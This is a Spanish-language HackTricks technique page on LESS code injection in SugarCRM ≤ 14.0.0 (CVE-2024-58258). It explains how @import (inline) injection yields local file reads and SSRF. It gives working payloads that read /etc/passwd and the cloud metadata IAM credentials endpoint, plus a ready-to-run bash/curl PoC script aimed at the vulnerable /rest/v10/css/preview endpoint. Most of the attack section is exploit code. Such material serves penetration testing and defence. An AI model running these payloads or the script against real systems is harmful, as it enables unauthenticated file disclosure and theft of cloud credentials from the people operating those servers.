LESS Code Injection leading to SSRF & Local File Read
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
LESS es un preprocesador de CSS popular que añade variables, mixins, funciones y la potente directiva @import. Durante la compilación el motor de LESS recuperará los recursos referenciados en las declaraciones @import e insertará (“inline”) su contenido en el CSS resultante cuando se usa la opción (inline).
Cuando una aplicación concatena entrada controlada por el usuario en una cadena que luego es procesada por el compilador LESS, un atacante puede inyectar código LESS arbitrario. Al abusar de @import (inline) el atacante puede obligar al servidor a recuperar:
- Archivos locales a través del protocolo
file://(divulgación de información / Local File Inclusion). - Recursos remotos en redes internas o servicios de metadatos de la nube (SSRF).
Esta técnica se ha visto en productos reales como SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).
Explotación
- Identificar un parámetro que se inserte directamente dentro de una cadena de hoja de estilos procesada por el motor LESS (p. ej.
?lm=en SugarCRM). - Cerrar la declaración actual e inyectar nuevas directivas. Las primitivas más comunes son:
;– termina la declaración previa.}– cierra el bloque anterior (si es necesario).
- Usar
@import (inline) '<URL>';para leer recursos arbitrarios. - Opcionalmente inyectar un marcador (
data:URI) después del import para facilitar la extracción del contenido recuperado del CSS compilado.
Lectura de archivos locales
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
El contenido de /etc/passwd aparecerá en la respuesta HTTP justo antes del marcador @@END@@.
SSRF – Metadatos de la nube
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC automatizado (ejemplo SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Casos del mundo real
| Producto | Endpoint vulnerable | Impacto |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | SSRF no autenticado & lectura de archivos locales |
Referencias
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

